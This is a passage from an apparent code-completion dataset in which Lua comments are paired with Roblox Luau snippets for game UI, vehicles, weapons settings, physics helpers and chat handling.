UDim2.new(0.5,0,0,5)\n\telse\n\t\tTopbarPlusGui.TopbarContainer.Position = UDim2.new(0,0,0,0)\n\t\tTopbarPlusGui.TopbarContainer.Visible = checkTopbarEnabledAccountingForMimic()\n\t\tindicator.Visible = false\n\t\tIconController._setControllerSelectedObject(nil)\n\tend\n\tfor icon, _ in pairs(topbarIcons) do\n\t\tIconController._enableControllerModeForIcon(icon, bool)\n\tend\nend\n\nfunction IconController._enableControllerModeForIcon(icon, bool)\n\tlocal parentIcon = icon._parentIcon\n\tlocal featureName = icon.joinedFeatureName\n\tif parentIcon then\n\t\ticon:leave()\n\tend\n\tif bool then\n\t\tlocal scaleMultiplier = getScaleMultiplier()\n\t\tlocal currentSizeDeselected = icon:get(\"iconSize\", \"deselected\")\n\t\tlocal currentSizeSelected = icon:get(\"iconSize\", \"selected\")\n\t\tlocal currentSizeHovering = icon:getHovering(\"iconSize\")\n\t\ticon:set(\"iconSize\", UDim2.new(0, currentSizeDeselected.X.Offset*scaleMultiplier, 0, currentSizeDeselected.Y.Offset*scaleMultiplier), \"deselected\", \"controllerMode\")\n\t\ticon:set(\"iconSize\", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), \"selected\", \"controllerMode\")\n\t\tif currentSizeHovering then\n\t\t\ticon:set(\"iconSize\", UDim2.new(0, currentSizeSelected.X.Offset*scaleMultiplier, 0, currentSizeSelected.Y.Offset*scaleMultiplier), \"hovering\", \"controllerMode\")\n\t\tend\n\t\ticon:set(\"alignment\", \"mid\", \"deselected\", \"controllerMode\")\n\t\ticon:set(\"alignment\", \"mid\", \"selected\", \"controllerMode\")\n\telse\n\t\tlocal states = {\"deselected\", \"selected\", \"hovering\"}\n\t\tfor _, iconState in pairs(states) do\n\t\t\tlocal _, previousAlignment = icon:get(\"alignment\", iconState, \"controllerMode\")\n\t\t\tif previousAlignment then\n\t\t\t\ticon:set(\"alignment\", previousAlignment, iconState)\n\t\t\tend\n\t\t\tlocal currentSize, previousSize = icon:get(\"iconSize\", iconState, \"controllerMode\")\n\t\t\tif previousSize then\n\t\t\t\ticon:set(\"iconSize\", previousSize, iconState)\n\t\t\tend\n\t\tend\n\tend\n\tif parentIcon then\n\t\ticon:join(parentIcon, featureName)\n\tend\nend\n\nlocal createdFakeHealthbarIcon = false\nfunction IconController.setupHealthbar()\n\n\tif createdFakeHealthbarIcon then\n\t\treturn\n\tend\n\tcreatedFakeHealthbarIcon = true\n\n\t-- Create a fake healthbar icon to mimic the core health gui\n\ttask.defer(function()\n\t\trunService.Heartbeat:Wait()\n\t\tlocal Icon = require(script.Parent)\n\n\t\tIcon.new()\n\t\t\t:setProperty(\"internalIcon\", true)\n\t\t\t:setName(\"_FakeHealthbar\")\n\t\t\t:setRight()\n\t\t\t:setOrder(-420)\n\t\t\t:setSize(80, 32)\n\t\t\t:lock()\n\t\t\t:set(\"iconBackgroundTransparency\", 1)\n\t\t\t:give(function(icon)\n\n\t\t\t\tlocal healthContainer = Instance.new(\"Frame\")\n\t\t\t\thealthContainer.Name = \"HealthContainer\"\n\t\t\t\thealthContainer.BackgroundColor3 = Color3.fromRGB(0, 0, 0)\n\t\t\t\thealthContainer.BorderSizePixel = 0\n\t\t\t\thealthContainer.AnchorPoint = Vector2.new(0, 0.5)\n\t\t\t\thealthContainer.Position = UDim2.new(0, 0, 0.5, 0)\n\t\t\t\thealthContainer.Size = UDim2.new(1, 0, 0.2, 0)\n\t\t\t\thealthContainer.Visible = true\n\t\t\t\thealthContainer.ZIndex = 11\n\t\t\t\thealthContainer.Parent = icon.instances.iconButton\n\n\t\t\t\tlocal corner = Instance.new(\"UICorner\")\n\t\t\t\tcorner.CornerRadius = UDim.new(1, 0)\n\t\t\t\tcorner.Parent = healthContainer\n\n\t\t\t\tlocal healthFrame = healthContainer:Clone()\n\t\t\t\thealthFrame.Name = \"HealthFrame\"\n\t\t\t\thealthFrame.BackgroundColor3 = Color3.fromRGB(167, 167, 167)\n\t\t\t\thealthFrame.BorderSizePixel = 0\n\t\t\t\thealthFrame.AnchorPoint = Vector2.new(0.5, 0.5)\n\t\t\t\thealthFrame.Position = UDim2.new(0.5, 0, 0.5, 0)\n\t\t\t\thealthFrame.Size = UDim2.new(1, -2, 1, -2)\n\t\t\t\thealthFrame.Visible = true\n\t\t\t\thealthFrame.ZIndex = 12\n\t\t\t\thealthFrame.Parent = healthContainer\n\n\t\t\t\tlocal healthBar = healthFrame:Clone()\n\t\t\t\thealthBar.Name = \"HealthBar\"\n\t\t\t\thealthBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)\n\t\t\t\thealthBar.BorderSizePixel = 0\n\t\t\t\thealthBar.AnchorPoint = Vector2.new(0, 0.5)\n\t\t\t\thealthBar.Position = UDim2.new(0, 0, 0.5, 0)\n\t\t\t\thealthBar.Size = UDim2.new(0.5, 0, 1, 0)\n\t\t\t\thealthBar.Visible = true\n\t\t\t\thealthBar.ZIndex = 13\n\t\t\t\thealthBar.Parent = healthFrame\n\n\t\t\t\tlocal START_HEALTHBAR_COLOR = Color3.fromRGB(27, 252, 107)\n\t\t\t\tlocal MID_HEALTHBAR_COLOR = Color3.fromRGB(250, 235, 0)\n\t\t\t\tlocal END_HEALTHBAR_COLOR = Color3.fromRGB(255, 28, 0)\n\n\t\t\t\tlocal function powColor3(color, pow)\n\t\t\t\t\treturn Color3.new(\n\t\t\t\t\t\tmath.pow(color.R, pow),\n\t\t\t\t\t\tmath.pow(color.G, pow),\n\t\t\t\t\t\tmath.pow(color.B, pow)\n\t\t\t\t\t)\n\t\t\t\tend\n\n\t\t\t\tlocal function lerpColor(colorA, colorB, frac, gamma)\n\t\t\t\t\tgamma = gamma or 2.0\n\t\t\t\t\tlocal CA = powColor3(colorA, gamma)\n\t\t\t\t\tlocal CB = powColor3(colorB, gamma)\n\t\t\t\t\treturn powColor3(CA:Lerp(CB, frac), 1/gamma)\n\t\t\t\tend\n\n\t\t\t\tlocal firstTimeEnabling = true\n\t\t\t\tlocal function listenToHealth(character)\n\t\t\t\t\tif not character then\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\t\tlocal humanoid = character:WaitForChild(\"Humanoid\", 10)\n\t\t\t\t\tif not humanoid then\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal function updateHealthBar()\n\t\t\t\t\t\tlocal realHealthbarEnabled = starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Health)\n\t\t\t\t\t\tlocal healthInterval = humanoid.Health / humanoid.MaxHealth\n\t\t\t\t\t\tif healthInterval == 1 or IconController.healthbarDisabled or (firstTimeEnabling and realHealthbarEnabled == false) then\n\t\t\t\t\t\t\tif icon.enabled then\n\t\t\t\t\t\t\t\ticon:setEnabled(false)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\telseif healthInterval < 1 then\n\t\t\t\t\t\t\tif not icon.enabled then\n\t\t\t\t\t\t\t\ticon:setEnabled(true)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tfirstTimeEnabling = false\n\t\t\t\t\t\t\tif realHealthbarEnabled then\n\t\t\t\t\t\t\t\tstarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal startInterval = 0.9\n\t\t\t\t\t\tlocal endInterval = 0.1\n\t\t\t\t\t\tlocal m = 1/(startInterval - endInterval)\n\t\t\t\t\t\tlocal c = -m*endInterval\n\t\t\t\t\t\tlocal colorIntervalAbsolute = (m*healthInterval) + c\n\t\t\t\t\t\tlocal colorInterval = (colorIntervalAbsolute > 1 and 1) or (colorIntervalAbsolute < 0 and 0) or colorIntervalAbsolute\n\t\t\t\t\t\tlocal firstColor = (healthInterval > 0.5 and START_HEALTHBAR_COLOR) or MID_HEALTHBAR_COLOR\n\t\t\t\t\t\tlocal lastColor = (healthInterval > 0.5 and MID_HEALTHBAR_COLOR) or END_HEALTHBAR_COLOR\n\t\t\t\t\t\tlocal doubleSubtractor = (1-colorInterval)*2\n\t\t\t\t\t\tlocal modifiedColorInterval = (healthInterval > 0.5 and (1-doubleSubtractor)) or (2-doubleSubtractor)\n\t\t\t\t\t\tlocal newHealthFillColor = lerpColor(lastColor, firstColor, modifiedColorInterval)\n\t\t\t\t\t\tlocal newHealthFillSize = UDim2.new(healthInterval, 0, 1, 0)\n\t\t\t\t\t\thealthBar.BackgroundColor3 = newHealthFillColor\n\t\t\t\t\t\thealthBar.Size = newHealthFillSize\n\t\t\t\t\tend\n\n\t\t\t\t\thumanoid.HealthChanged:Connect(updateHealthBar)\n\t\t\t\t\tIconController.healthbarDisabledSignal:Connect(updateHealthBar)\n\t\t\t\t\tupdateHealthBar()\n\t\t\t\tend\n\t\t\t\tlocalPlayer.CharacterAdded:Connect(function(character)\n\t\t\t\t\tlistenToHealth(character)\n\t\t\t\tend)\n\t\t\t\ttask.spawn(listenToHealth, localPlayer.Character)\n\t\t\tend)\n\tend)\nend\n\n\n"} +{"prompt": "--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.", "completion": "\nmodule.BubbleChatEnabled = PlayersService.BubbleChat\nmodule.ClassicChatEnabled = PlayersService.ClassicChat\n"} +{"prompt": "-- Waits for the child of the specified parent", "completion": "\nlocal function WaitForChild(parent, childName)\n\twhile not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end\n\treturn parent[childName]\nend\n\n\nlocal Tool = script.Parent\nlocal Handle = WaitForChild(Tool, 'Handle')\nlocal Debounce = false\n\nlocal TouchConnection\n\n\nfunction OnTouched(hit)\n\tlocal humanoid = hit.Parent:findFirstChild('Humanoid')\n\tif Debounce == false then\n\t\tDebounce = true\n\t\tif humanoid then\n\t\t\tHandle.Splat:Play()\n\t\telse\n\t\tend\n\tend\n\twait(0.5)\n\tDebounce = false\nend\n\n\nTool.Equipped:connect(function()\n\tTouchConnection = Handle.Touched:connect(OnTouched)\nend)\n\nTool.Unequipped:connect(function()\n\tif TouchConnection then\n\t\tTouchConnection:disconnect()\n\t\tTouchConnection = nil\n\tend\nend)\n"} +{"prompt": "--[=[\n\t@function Burn\n\t@within Blend\n\n\t@param background Color3 -- The background colour.\n\t@param foreground Color3 -- The foreground colour.\n\t@return Color3 -- The resulting colour.\n]=]", "completion": "\nreturn PrepFilter(\"Burn\", function(background: number, foreground: number): number\n\tlocal bg = clamp(background * 255, 0, 255)\n\tlocal fg = foreground * 255\n\n\treturn (bg == 0) and bg or max(0, (255 - lshift((255 - fg), 8) / bg))\nend)\n"} +{"prompt": "------------------------------------------------------------------------------------Raycasting functions", "completion": "\nfunction cross(vector1, vector2)\n\treturn Vector3.new(vector1.y * vector2.z - vector2.y * vector1.z, vector1.z * vector2.x - vector1.x * vector2.z, vector1.x * vector2.y - vector2.x * vector1.y)\nend\nfunction dot(vector1, vector2)\n\treturn (vector1.x * vector2.x + vector1.y * vector2.y + vector1.z * vector2.z)\nend\nfunction getLineSphereCollide(linePoint1, lineVector, sphereCenter, radius)\n\tlocal a = lineVector.x * lineVector.x + lineVector.y * lineVector.y + lineVector.z * lineVector.z\n\tlocal b = lineVector.x * (linePoint1.x - sphereCenter.x) + lineVector.y * (linePoint1.y - sphereCenter.y) + lineVector.z * (linePoint1.z - sphereCenter.z)\n\tlocal c = (linePoint1.x - sphereCenter.x) * (linePoint1.x - sphereCenter.x) + (linePoint1.y - sphereCenter.y) * (linePoint1.y - sphereCenter.y) + (linePoint1.z - sphereCenter.z) * (linePoint1.z - sphereCenter.z) - radius * radius\n\tif (a > 0) and (b * b >= a * c) then\n\t\tlocal diff = math.sqrt(b * b - a * c)\n\t\treturn ((-b - diff) / a), ((diff - b) / a)\n\telse\n\t\treturn -1, -1\n\tend\nend"} +{"prompt": "-- ScreenGui containing the game", "completion": "\nlocal InteractionGui = script.Parent\n"} +{"prompt": "--Objects", "completion": "\nlocal Remotes = game.ReplicatedStorage.VehicleSeatingModule\nlocal ButtonGui = script:WaitForChild(\"ButtonGui\")\nlocal ButtonImage = ButtonGui:WaitForChild(\"KeyboardImage\")\nlocal RingSprite = ButtonGui:WaitForChild(\"Ring\")"} +{"prompt": "--[[**\n\tensures Lua primitive table type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.table = primitive(\"table\")\n"} +{"prompt": "--[[ PRIVATE FUNCTIONS ]]", "completion": "--\nlocal function declareError(self, errorType)\n\tself._lastError = errorType\n\tself._events.Error:Fire(errorType)\nend\n"} +{"prompt": "--------------------[ CAMERA STEADYING FUNCTIONS ]------------------------------------", "completion": "\n\nfunction SteadyCamera()\n\tGui_Clone.Scope.Steady.Text = \"Steadying...\"\n\tGui_Clone.Scope.Steady.TextColor3 = Color3.new(1, 1, 0)\n\tCameraSteady = true\n\tlocal OriginalSway = CameraSway\n\tfor X = 0, 90, 1.5 / 0.6 do\n\t\tif (not Run_Key_Pressed) then break end\n\t\tlocal Alpha = SIN(RAD(X))\n\t\tCameraSway = NumLerp(OriginalSway, 0, Alpha)\n\t\tRS:wait()\n\tend\n\twhile Run_Key_Pressed and Aimed do\n\t\tif CurrentSteadyTime > 0 then\n\t\t\tlocal NewSteadyTime = CurrentSteadyTime - 1\n\t\t\tCurrentSteadyTime = (NewSteadyTime < 0 and 0 or NewSteadyTime)\n\t\t\tCameraSway = 0\n\t\telseif CurrentSteadyTime == 0 then\n\t\t\tbreak\n\t\tend\n\t\tRS:wait()\n\tend\n\tCameraSteady = false\n\tspawn(function()\n\t\tfor X = 0, 90, 1.5 / 0.2 do\n\t\t\tlocal Alpha = math.log10(X) / math.log10(90)\n\t\t\tCameraSway = NumLerp(0, 3, Alpha)\n\t\t\tRS:wait()\n\t\tend\n\t\tfor X = 0, 90, 1.5 / S.ScopeSteadyTime do\n\t\t\tif CameraSteady then break end\n\t\t\tlocal Alpha = SIN(RAD(X))\n\t\t\tCameraSway = NumLerp(3, 1, Alpha)\n\t\t\tRS:wait()\n\t\tend\n\tend)\n\tRetakeBreath()\nend\n\nfunction RetakeBreath()\n\tlocal Steady = Gui_Clone.Scope.Steady\n\tSteady.Text = \"Re-taking Breath\"\n\tSteady.TextColor3 = Color3.new(1, 0, 0)\n\tTakingBreath = true\n\twhile TakingBreath do\n\t\tif CurrentSteadyTime < MaxSteadyTime then\n\t\t\tlocal NewSteadyTime = CurrentSteadyTime + (S.ScopeSteadyTime / S.SteadyCooldownTime)\n\t\t\tCurrentSteadyTime = (NewSteadyTime > MaxSteadyTime and MaxSteadyTime or NewSteadyTime)\n\t\telseif CurrentSteadyTime >= MaxSteadyTime then\n\t\t\tbreak\n\t\tend\n\t\tRS:wait()\n\tend\n\tif TakingBreath then\n\t\tSteady.Text = \"Hold \"..ConvertKey(S.ScopeSteadyKey)..\" to Steady\"\n\t\tSteady.TextColor3 = Color3.new(1, 1, 0)\n\t\tTakingBreath = false\n\tend\nend\n"} +{"prompt": "--[[\n\tFired when state is left\n]]", "completion": "\nfunction Transitions.onLeavePostGame(stateMachine, event, from, to, playerComponent)\n\tPlayerPostGame.leave(stateMachine, playerComponent)\nend\n\nreturn Transitions\n"} +{"prompt": "--// Ammo Settings\t\t\t", "completion": "\n\tAmmo = 12;\n\tStoredAmmo = 12;\n\tMagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;\n\tExplosiveAmmo = 0;\n\t"} +{"prompt": "---Controls UI", "completion": "\nscript.Parent.Parent:WaitForChild(\"Controls\")\nscript.Parent.Parent:WaitForChild(\"ControlsOpen\")\nscript.Parent:WaitForChild(\"Window\")\nscript.Parent:WaitForChild(\"Toggle\")\n\nlocal car = script.Parent.Parent.Car.Value\nlocal _Tune = require(car[\"A-Chassis Tune\"])\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal cPanel = script.Parent\nlocal Controls = script.Parent.Parent.Controls\n\nlocal ver = require(car[\"A-Chassis Tune\"].README)\ncPanel.Window[\"//INSPARE\"].Text = \"A-Chassis \"..ver..\" // INSPARE\"\n\nlocal controlsOpen = false\nlocal cInputB = nil\nlocal cInputT = nil\nlocal cInput = false\n\nfor i,v in pairs(_Tune.Peripherals) do\n\tscript.Parent.Parent.Controls:WaitForChild(i)\n\tlocal slider = cPanel.Window.Content[i]\n\tslider.Text = v..\"%\"\n\tslider.S.CanvasPosition=Vector2.new(v*(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)/100,0)\n\tslider.S.Changed:connect(function(property)\n\t\tif property==\"CanvasPosition\" then\n\t\t\tControls[i].Value = math.floor(100*slider.S.CanvasPosition.x/(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset))\n\t\t\tslider.Text = Controls[i].Value..\"%\"\n\t\tend\n\tend)\nend\n\nfor i,v in pairs(_Tune.Controls) do\n\tscript.Parent.Parent.Controls:WaitForChild(i)\n\tlocal button = cPanel.Window.Content[i]\n\tbutton.Text = v.Name\n\tbutton.MouseButton1Click:connect(function()\n\t\tscript.Parent.Parent.ControlsOpen.Value = true\n\t\tcPanel.Window.Overlay.Visible = true\n\t\tcInput = true\n\t\trepeat wait() until cInputB~=nil\n\t\tif cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then\n\t\t\t--do nothing\n\t\telseif string.find(i,\"Contlr\")~=nil then\n\t\t\tif cInputT.Name:find(\"Gamepad\") then\n\t\t\t\tControls[i].Value = cInputB.Name\n\t\t\t\tbutton.Text = cInputB.Name\n\t\t\telse\n\t\t\t\tcPanel.Window.Error.Visible = true\n\t\t\tend\n\t\telseif i==\"MouseThrottle\" or i==\"MouseBrake\" then\n\t\t\tif cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then\n\t\t\t\tControls[i].Value = cInputT.Name\n\t\t\t\tbutton.Text = cInputT.Name\n\t\t\telseif cInputT == Enum.UserInputType.Keyboard then\n\t\t\t\tControls[i].Value = cInputB.Name\n\t\t\t\tbutton.Text = cInputB.Name\t\n\t\t\telse\n\t\t\t\tcPanel.Window.Error.Visible = true\n\t\t\tend\t\n\t\telse\n\t\t\tif cInputT == Enum.UserInputType.Keyboard then\n\t\t\t\tControls[i].Value = cInputB.Name\n\t\t\t\tbutton.Text = cInputB.Name\n\t\t\telse\n\t\t\t\tcPanel.Window.Error.Visible = true\n\t\t\tend\n\t\tend\n\t\tcInputB = nil\n\t\tcInputT = nil\n\t\tcInput = false\n\t\twait(.2)\n\t\tcPanel.Window.Overlay.Visible = false\n\t\tscript.Parent.Parent.ControlsOpen.Value = false\n\tend)\nend\n\ncPanel.Window.Error.Changed:connect(function(property)\n\tif property == \"Visible\" then\n\t\twait(3)\n\t\tcPanel.Window.Error.Visible = false\n\tend\nend)\n\nUserInputService.InputBegan:connect(function(input) if cInput then cInputB = input.KeyCode cInputT = input.UserInputType end end)\nUserInputService.InputChanged:connect(function(input) if cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then cInputB = input.KeyCode cInputT = input.UserInputType end end)\n\n\ncPanel.Toggle.MouseButton1Click:connect(function()\n\tcontrolsOpen = not controlsOpen\n\tif controlsOpen then\n\t\tcPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)\n\t\tcPanel.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)\n\telse\n\t\tcPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)\n\t\tcPanel.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)\n\tend\nend)\n\ncPanel.Window.Tabs.Keyboard.MouseButton1Click:connect(function()\n\tcPanel.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\nend)\n\ncPanel.Window.Tabs.Mouse.MouseButton1Click:connect(function()\n\tcPanel.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\nend)\n\ncPanel.Window.Tabs.Controller.MouseButton1Click:connect(function()\n\tcPanel.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tcPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\nend)\n\nwait(.5)\ncPanel.Toggle:TweenPosition(UDim2.new(0.5, -50, 1, -25),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false)\t\nfor i=1,6 do\n\tcPanel.Toggle.BackgroundColor3 = Color3.new(100/255,100/255,100/255)\n\twait(.2)\n\tif controlsOpen then\n\t\tcPanel.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)\n\telse\n\t\tcPanel.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)\n\tend\n\twait(.2)\nend\n"} +{"prompt": "--Disconnect MoveToFinished connection when pathfinding ends", "completion": "\nlocal function disconnectMoveConnection(self)\n\tself._moveConnection:Disconnect()\n\tself._moveConnection = nil\nend\n"} +{"prompt": "-- Hello, User removing this script will break the board. If you need to ask something dm Yeah_Ember", "completion": "\n"} +{"prompt": "--gui data", "completion": "\nlocal gui = tool:WaitForChild(\"gui\")\nlocal ammogui = gui:WaitForChild(\"ammo\")\nlocal maggui = ammogui:WaitForChild(\"mag\")\nlocal chamberedgui = ammogui:WaitForChild(\"chambered\")\n\nmagleft.Changed:Connect(function(new)\n\tmaggui.Text = tostring(new)\nend)\nbinmag.Changed:Connect(function(new)\n\tammogui.Text = tostring(new)\nend)\nbchambered.Changed:Connect(function(new)\n\tchamberedgui.Text = tostring(new)\nend)\n"} +{"prompt": "--[[Dependencies]]", "completion": "\n\n\tlocal player = game.Players.LocalPlayer\n\tlocal mouse = player:GetMouse()\n\tlocal UserInputService = game:GetService(\"UserInputService\")\n\tlocal car = script.Parent.Car.Value\n\tlocal _Tune = require(car[\"A-Chassis Tune\"])\n"} +{"prompt": "-- regeneration", "completion": "\nwhile true do\n\tlocal s = wait(1)\n\tlocal health = Humanoid.Health\n\tif health > 0 and health < Humanoid.MaxHealth then\n\t\thealth = health + 0.01 * s * Humanoid.MaxHealth\n\t\tif health * 1.05 < Humanoid.MaxHealth then\n\t\t\tHumanoid.Health = health\n\t\telse\n\t\t\tHumanoid.Health = Humanoid.MaxHealth\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Function to run when the button is clicked", "completion": "\nlocal function onButtonClicked()\n\tgui4567.Visible = false\nend\n"} +{"prompt": "---------------\n--// Variables\n---------------", "completion": "\nlocal pos = script.Parent.Middle.CFrame\n\n\n"} +{"prompt": "---Drivetrain Initialize", "completion": "\nlocal wDia = 0\nlocal Drive={}\nif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then\n\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\ttable.insert(Drive,v)\n\t\tend\n\tend\nend\nif _Tune.Config == \"RWD\" or _Tune.Config == \"AWD\" then\n\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\tif v.Name==\"RL\" or v.Name==\"RR\" or v.Name==\"R\" then\n\t\t\ttable.insert(Drive,v)\n\t\tend\n\tend\nend\nfor i,v in pairs(Drive) do\n\tif v.Size.x>wDia then wDia = v.Size.x end\nend\n"} +{"prompt": "-- constants", "completion": "\n\nlocal PLAYER\t= Players.LocalPlayer\nlocal CAMERA\t= Workspace.CurrentCamera\nlocal EFFECTS\t= Workspace:WaitForChild(\"Effects\")\nlocal EVENTS\t= ReplicatedStorage:WaitForChild(\"Events\")\nlocal REMOTES\t= ReplicatedStorage:WaitForChild(\"Remotes\")\nlocal MODULES\t= ReplicatedStorage:WaitForChild(\"Modules\")\n\tlocal MOUSE\t\t= require(MODULES:WaitForChild(\"Mouse\"))\n\tlocal SPRING\t= require(MODULES:WaitForChild(\"Spring\"))\n\t\nlocal GUI\t\t= script.Parent\nlocal MOUSE_GUI\t= GUI:WaitForChild(\"Mouse\")\nlocal SCOPE_GUI\t= GUI:WaitForChild(\"Scope\")\n\t"} +{"prompt": "-- Variables", "completion": "\nlocal InterfaceModule = {}\nInterfaceModule.Open = false\n\nInterfaceModule.Changing = false\nInterfaceModule.Page = \"Quests\"\n\nlocal debounce = false\nlocal spawndebounce = false\n"} +{"prompt": "--- Variable definitions", "completion": "\nlocal CollectionService: CollectionService = game:GetService(\"CollectionService\")\nlocal VisualizerCache = require(script.Parent.VisualizerCache)\n\nlocal ActiveHitboxes: {[number]: any} = {}\nlocal Solvers: Instance = script.Parent:WaitForChild(\"Solvers\")\n\nlocal Hitbox = {}\nHitbox.__index = Hitbox\nHitbox.__type = \"RaycastHitbox\"\n\nHitbox.CastModes = {\n\tLinkAttachments = 1,\n\tAttachment = 2,\n\tVector3 = 3,\n\tBone = 4,\n}\n"} +{"prompt": "----- Bath plug handler -----", "completion": "\n\nbathPlug.Interactive.ClickDetector.MouseClick:Connect(function()\n\tif p.Plugged.Value == false then\n\t\tp.Plugged.Value = true\n\t\tbathPlug.Plug.CFrame = bathPlug.Plug.CFrame * CFrame.new(0,-0.08,0)\n\telse\n\t\tp.Plugged.Value = false\n\t\tbathPlug.Plug.CFrame = bathPlug.Plug.CFrame * CFrame.new(0,0.08,0)\n\tend\nend)\n"} +{"prompt": "-- merge properties on both table to target", "completion": "\nfunction mergeProps(source, target)\n\tif not source then return end\n\tfor prop, value in pairs(source) do\n\t\ttarget[prop] = value\n\tend\nend\n\nfunction ReturnToObjectPoolRecursive(instance, objectPool)\n\tlocal children = instance:GetChildren()\n\tfor i = 1, #children do\n\t\tReturnToObjectPoolRecursive(children[i], objectPool)\n\tend\n\tinstance.Parent = nil\n\tobjectPool:ReturnInstance(instance)\nend\n\nfunction GetMessageCreators()\n\tlocal typeToFunction = {}\n\tlocal creators = messageCreatorModules:GetChildren()\n\tfor i = 1, #creators do\n\t\tif creators[i]:IsA(\"ModuleScript\") then\n\t\t\tif creators[i].Name ~= \"Util\" then\n\t\t\t\tlocal creator = require(creators[i])\n\t\t\t\ttypeToFunction[creator[messageCreatorUtil.KEY_MESSAGE_TYPE]] = creator[messageCreatorUtil.KEY_CREATOR_FUNCTION]\n\t\t\tend\n\t\tend\n\tend\n\treturn typeToFunction\nend\n\nfunction methods:WrapIntoMessageObject(messageData, createdMessageObject)\n\tlocal BaseFrame = createdMessageObject[messageCreatorUtil.KEY_BASE_FRAME]\n\tlocal BaseMessage = nil\n\tif messageCreatorUtil.KEY_BASE_MESSAGE then\n\t\tBaseMessage = createdMessageObject[messageCreatorUtil.KEY_BASE_MESSAGE]\n\tend\n\tlocal UpdateTextFunction = createdMessageObject[messageCreatorUtil.KEY_UPDATE_TEXT_FUNC]\n\tlocal GetHeightFunction = createdMessageObject[messageCreatorUtil.KEY_GET_HEIGHT]\n\tlocal FadeInFunction = createdMessageObject[messageCreatorUtil.KEY_FADE_IN]\n\tlocal FadeOutFunction = createdMessageObject[messageCreatorUtil.KEY_FADE_OUT]\n\tlocal UpdateAnimFunction = createdMessageObject[messageCreatorUtil.KEY_UPDATE_ANIMATION]\n\n\tlocal obj = {}\n\n\tobj.ID = messageData.ID\n\tobj.BaseFrame = BaseFrame\n\tobj.BaseMessage = BaseMessage\n\tobj.UpdateTextFunction = UpdateTextFunction or function() warn(\"NO MESSAGE RESIZE FUNCTION\") end\n\tobj.GetHeightFunction = GetHeightFunction\n\tobj.FadeInFunction = FadeInFunction\n\tobj.FadeOutFunction = FadeOutFunction\n\tobj.UpdateAnimFunction = UpdateAnimFunction\n\tobj.ObjectPool = self.ObjectPool\n\tobj.Destroyed = false\n\n\tfunction obj:Destroy()\n\t\tReturnToObjectPoolRecursive(self.BaseFrame, self.ObjectPool)\n\t\tself.Destroyed = true\n\tend\n\n\treturn obj\nend\n\nfunction methods:CreateMessageLabel(messageData, currentChannelName)\n\n\tmessageData.Channel = currentChannelName\n\tlocal extraDeveloperFormatTable\n\tpcall(function()\n\t\textraDeveloperFormatTable = Chat:InvokeChatCallback(Enum.ChatCallbackType.OnClientFormattingMessage, 